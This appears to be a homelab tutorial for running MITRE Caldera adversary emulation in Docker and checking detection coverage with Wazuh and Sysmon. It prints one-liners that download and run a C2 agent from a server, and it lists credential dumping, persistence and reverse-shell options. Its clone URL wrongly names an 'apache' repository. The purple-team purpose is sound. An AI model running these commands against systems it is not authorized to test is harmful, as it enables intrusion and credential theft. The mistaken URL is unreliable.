Overview
Purple team exercises are most valuable when they are repeatable, structured, and mapped to a real threat model. Doing that manually — running scripts, logging outcomes, checking SIEM alerts one by one — is slow and error-prone. MITRE Caldera solves this by giving you an automated adversary emulation platform built directly on the MITRE ATT&CK framework.
Caldera lets you define adversary profiles composed of individual ATT&CK techniques (called abilities), deploy lightweight agents on target machines, and run fully automated operations that chain those techniques together. Each operation produces a detailed report showing which techniques ran, what data was collected, and — crucially — which detection rules in your SIEM did or didn't fire.
This project walks you through deploying Caldera in Docker, configuring it for your homelab, deploying a Sandcat agent on a target VM, running your first operation, and correlating the results against Wazuh or another SIEM. By the end you'll have a repeatable purple team pipeline you can run on demand.
What you'll build:
- Caldera server running in Docker Compose
- Sandcat C2 agent deployed to a Windows or Linux test VM
- Custom adversary profile using stock ATT&CK abilities
- First automated operation with full Debrief report
- Wazuh integration for detection correlation
Architecture
┌─────────────────────────────────────────┐
│ Homelab Network │
│ │
│ ┌──────────────────────┐ │
│ │ Caldera Server │ :8888 (UI) │
│ │ (Docker) │ :8443 (TLS) │
│ │ │ :7010 (HTTP) │
│ │ ┌──────────────┐ │ :7011 (UDP) │
│ │ │ Stockpile │ │ :7012 (TCP) │
│ │ │ Debrief │ │ │
│ │ │ Compass │ │ │
│ │ └──────────────┘ │ │
│ └──────────┬───────────┘ │
│ │ C2 beacon │
│ ▼ │
│ ┌──────────────────────┐ │
│ │ Target VM │ │
│ │ (Windows/Linux) │ │
│ │ Sandcat Agent │ │
│ └──────────────────────┘ │
│ │ logs/events │
│ ▼ │
│ ┌──────────────────────┐ │
│ │ Wazuh / SIEM │ │
│ │ Detection Validation│ │
│ └──────────────────────┘ │
└─────────────────────────────────────────┘
Caldera's server component exposes a web UI on port 8888 and a set of C2 listening posts that Sandcat agents beacon back to. The agents are small Go binaries compiled on demand — you download them from the Caldera UI, copy them to your target, and run them. After that, Caldera can push any configured ability to the agent and receive results automatically.
Prerequisites
- Docker Engine 24+ and Docker Compose v2
- A target VM (Windows 10/11, Windows Server, or any Linux distro) on the same network
- Wazuh or an ELK/Splunk instance (optional but recommended for detection correlation)
- 4 GB RAM minimum on the Caldera host; 2 GB on the target VM
Step 1 — Clone and Configure Caldera
Clone the repository with all submodules (plugins are submodules):
git clone https://github.com/apache/caldera.git --recursive --depth 1
cd calderaCaldera's configuration lives in conf/local.yml. Generate a secure set of credentials before your first run:
# Generate random passwords for the three built-in accounts
python3 -c "import secrets; print(secrets.token_urlsafe(24))"Run that three times and plug the outputs into conf/local.yml:
# conf/local.yml
users:
red:
red: YOUR_RED_PASSWORD
blue:
blue: YOUR_BLUE_PASSWORD
admin:
admin: YOUR_ADMIN_PASSWORD
api_key_red: YOUR_API_KEY_RED
api_key_blue: YOUR_API_KEY_BLUE
app.contact.http: http://YOUR_CALDERA_HOST_IP:7010
app.contact.dns.domain: YOUR_CALDERA_HOST_IPSet app.contact.http to the IP of your Docker host — this is the address the Sandcat agent will beacon back to. If you're running Caldera on 192.168.1.50, that value should be http://192.168.1.50:7010.
Step 2 — Docker Compose Setup
Create a docker-compose.yml in the Caldera root:
version: "3.9"
services:
caldera:
build:
context: .
dockerfile: Dockerfile
image: caldera:latest
container_name: caldera
restart: unless-stopped
ports:
- "8888:8888" # Web UI
- "8443:8443" # HTTPS UI
- "7010:7010" # HTTP C2 contact
- "7011:7011/udp" # DNS C2 contact
- "7012:7012" # TCP C2 contact
- "8853:8853" # HTTPS C2 contact
- "8022:8022" # SSH C2 contact
- "2222:2222" # Manx reverse shell
volumes:
- ./conf:/usr/src/app/conf
- caldera-data:/usr/src/app/data
environment:
- TZ=America/Edmonton
volumes:
caldera-data:Build and start:
docker compose build
docker compose up -dThe first build takes 5-10 minutes as it compiles the Sandcat agent binaries for multiple platforms. Watch the logs:
docker compose logs -f calderaWait for the line All plugins loaded before proceeding.
Step 3 — First Login and Orientation
Open http://YOUR_HOST:8888 in your browser. Log in with the admin / YOUR_ADMIN_PASSWORD credentials from local.yml.
The Caldera UI has five main sections:
| Section | Purpose |
|---|---|
| Campaigns | Run and monitor operations |
| Abilities | Browse and create ATT&CK techniques |
| Adversaries | Group abilities into threat actor profiles |
| Agents | View connected agents and their status |
| Plugins | Enable/configure Stockpile, Debrief, Compass |
Navigate to Plugins and confirm that Stockpile, Debrief, and Compass are enabled. Stockpile provides the default ability library (~200 pre-built ATT&CK techniques). Compass gives you a visual ATT&CK matrix overlay. Debrief generates post-operation reports.
Step 4 — Deploy a Sandcat Agent
Go to Agents → Deploy an Agent. Configure:
- Agent flavor: Sandcat
- Platform: Match your target OS (Windows or Linux)
- C2 contact: HTTP (or TCP for stealthier comms)
- Group:
red(default)
Caldera generates a one-liner. For Linux it looks like:
curl -s -X POST \
-H "file:sandcat.go-linux" \
-H "platform:linux" \
http://192.168.1.50:7010/file/download > /tmp/sandcat && \
chmod +x /tmp/sandcat && \
/tmp/sandcat -server http://192.168.1.50:7010 -group redFor Windows (PowerShell):
$url = "http://192.168.1.50:7010/file/download"
$headers = @{ "file" = "sandcat.go-windows"; "platform" = "windows" }
$r = Invoke-WebRequest -Uri $url -Headers $headers -OutFile "$env:TEMP\sandcat.exe"
Start-Process -FilePath "$env:TEMP\sandcat.exe" `
-ArgumentList "-server http://192.168.1.50:7010 -group red" `
-NoNewWindowRun this on your target VM. Within 30 seconds the agent appears in Agents with a green beacon indicator. Note the agent's paw ID — you'll reference it when configuring operations.
Step 5 — Build an Adversary Profile
Navigate to Adversaries → Create Adversary. Name it something like Basic Recon and Discovery.
Click Add Ability and search for the following techniques from the Stockpile library. Add them in order — Caldera chains them sequentially by default:
| Technique | ATT&CK ID | What it does |
|---|---|---|
| Discover system info | T1082 | Collects OS version, hostname, IP |
| List running processes | T1057 | Enumerates active processes |
| Find files by extension | T1083 | Searches for .doc, .pdf, .txt |
| Discover local users | T1087.001 | Lists local accounts |
| Dump Lsass (Linux: /etc/shadow read) | T1003 | Credential access |
| Create a scheduled task (Windows) | T1053.005 | Persistence test |
For a first exercise, keep it to discovery and collection techniques (T1082, T1057, T1083, T1087). Save the adversary.
Step 6 — Create and Run an Operation
Go to Campaigns → Operations → Create Operation:
- Operation name:
Purple Exercise 001 - Adversary:
Basic Recon and Discovery(the one you just created) - Group:
red(selects all agents in this group) - Planner:
Sequential(runs abilities in order) - Fact source:
basic(Stockpile default facts) - Jitter:
2/8(randomizes delay between 2-8 seconds per technique)
Click Start. The operation panel shows each ability as it executes. Abilities that complete successfully show a green checkmark; failures show red. Click any ability to expand the raw output collected from the agent.
Wait for the operation to reach COMPLETE status. This typically takes 2-5 minutes for a short discovery chain.
Step 7 — Review the Debrief Report
Navigate to Plugins → Debrief and select your operation. Debrief generates:
- ATT&CK Navigator layer showing exactly which techniques ran
- Timeline view of each ability, its status, and collected facts
- Fact graph showing relationships between discovered data (users, processes, files)
Export the ATT&CK Navigator JSON. This file can be imported directly into the ATT&CK Navigator for team review.
Key things to look for in the report:
Operation: Purple Exercise 001
Duration: 3m 42s
Agent: win-target-01 (Windows 10)
Techniques executed: 4
✓ T1082 - System Information Discovery
✓ T1057 - Process Discovery
✓ T1083 - File and Directory Discovery
✗ T1087.001 - Local Account Discovery (ability failed: access denied)
Facts collected:
host.hostname = WIN-TARGET-01
host.os.version = Windows 10 22H2
host.processes = [svchost, explorer, winlogon ...]
host.files.found = [C:\Users\testuser\Documents\budget.xlsx]
Step 8 — Detection Correlation with Wazuh
If you're running Wazuh (see the Wazuh XDR/SIEM homelab writeup), the Sandcat agent's activity will generate Windows Security Event Log entries and Sysmon events. Cross-reference the operation timeline in Debrief against Wazuh alerts.
Enable Sysmon on your target VM for richer telemetry:
# Download Sysmon and SwiftOnSecurity config
Invoke-WebRequest https://download.sysinternals.com/files/Sysmon.zip -OutFile C:\sysmon.zip
Expand-Archive C:\sysmon.zip -DestinationPath C:\Sysmon
Invoke-WebRequest https://raw.githubusercontent.com/SwiftOnSecurity/sysmon-config/master/sysmonconfig-export.xml `
-OutFile C:\Sysmon\sysmon-config.xml
C:\Sysmon\Sysmon64.exe -accepteula -i C:\Sysmon\sysmon-config.xmlAfter running an operation, check Wazuh for Sysmon Event ID 1 (process creation) and Event ID 11 (file creation). For each ATT&CK technique Caldera ran, you should be able to find a corresponding alert. Techniques that don't generate alerts are your detection coverage gaps.
Build a simple coverage matrix:
| Technique | Caldera Result | Wazuh Alert? | Gap? |
|---|---|---|---|
| T1082 | Success | Yes (rule 92100) | No |
| T1057 | Success | No alert | Yes |
| T1083 | Success | Yes (rule 92052) | No |
Testing Your Setup
Verify the Caldera server is healthy:
# Check API health
curl -H "KEY: YOUR_API_KEY_RED" http://localhost:8888/api/v2/health
# List connected agents
curl -H "KEY: YOUR_API_KEY_RED" http://localhost:8888/api/v2/agents | python3 -m json.toolVerify your agent is beaconing:
# On Linux target — check the process
ps aux | grep sandcat
# Should show the sandcat process running and connecting backVerify abilities loaded from Stockpile:
curl -H "KEY: YOUR_API_KEY_RED" \
http://localhost:8888/api/v2/abilities | \
python3 -c "import sys,json; a=json.load(sys.stdin); print(f'{len(a)} abilities loaded')"Expect 150-200 abilities from the default Stockpile library.
Deployment and Persistence
For a homelab that you want to keep running, add a systemd unit or configure Docker to restart Caldera on reboot:
The restart: unless-stopped policy in your Compose file already handles this. Verify with:
docker inspect caldera --format='{{.HostConfig.RestartPolicy.Name}}'
# Should return: unless-stoppedPersist your adversary profiles and operation history by mounting the data volume. The caldera-data volume in the Compose file handles this — profiles survive container recreates.
Schedule regular operations using Caldera's built-in scheduling (Campaigns → Schedule) to run a lightweight discovery chain nightly. Set it to a low-jitter, sequential planner and pipe results to Debrief for trend tracking.
Extensions and Next Steps
Add more plugins:
- Manx — TCP reverse-shell agent, useful for testing environments where HTTP beaconing is blocked
- SSL — Enable TLS on the C2 channel (
app.contact.httpsinlocal.yml) for encrypted comms testing - emu — Connects to MITRE's Adversary Emulation Library for nation-state actor profiles (APT29, APT3)
Build custom abilities:
Caldera abilities are YAML files. Create one for a technique not in Stockpile:
# plugins/stockpile/data/abilities/discovery/my-custom-ability.yml
- id: a5f85c66-1234-4b5e-9a9b-abc123456789
name: List Docker containers
description: Enumerate running Docker containers (T1613)
tactic: discovery
technique:
attack_id: T1613
name: Container and Resource Discovery
platforms:
linux:
sh:
command: docker ps --format '{{.Names}},{{.Image}},{{.Status}}'
parsers:
plugins.stockpile.app.parsers.basic:
- source: host.docker.containers
edge: has_containerIntegrate with TheHive:
Export Debrief operation data as a TheHive case. Use the Caldera REST API to pull operation facts and post them to TheHive's API — creating a structured incident record that links emulation results to detection findings.
Run the MITRE Evaluations scenarios:
MITRE publishes ATT&CK Evaluations adversary scenarios (APT29, Carbanak, etc.) as Caldera profiles. Install the emu plugin to get access to these — they're the same scenarios MITRE uses to evaluate commercial EDR vendors.
# Inside the caldera directory
git submodule add https://github.com/mitre/emu.git plugins/emu
docker compose restart calderaEnable the emu plugin in conf/local.yml under plugins: and restart. You'll see nation-state adversary profiles appear in the Adversaries section.
Set detection baselines:
After your first few operations, you'll have a baseline of which Caldera techniques trigger Wazuh/Sysmon alerts. Use this data to:
- Write new Wazuh rules for uncovered techniques
- Tune noisy rules that fire too broadly
- Track detection coverage improvement over time with monthly re-runs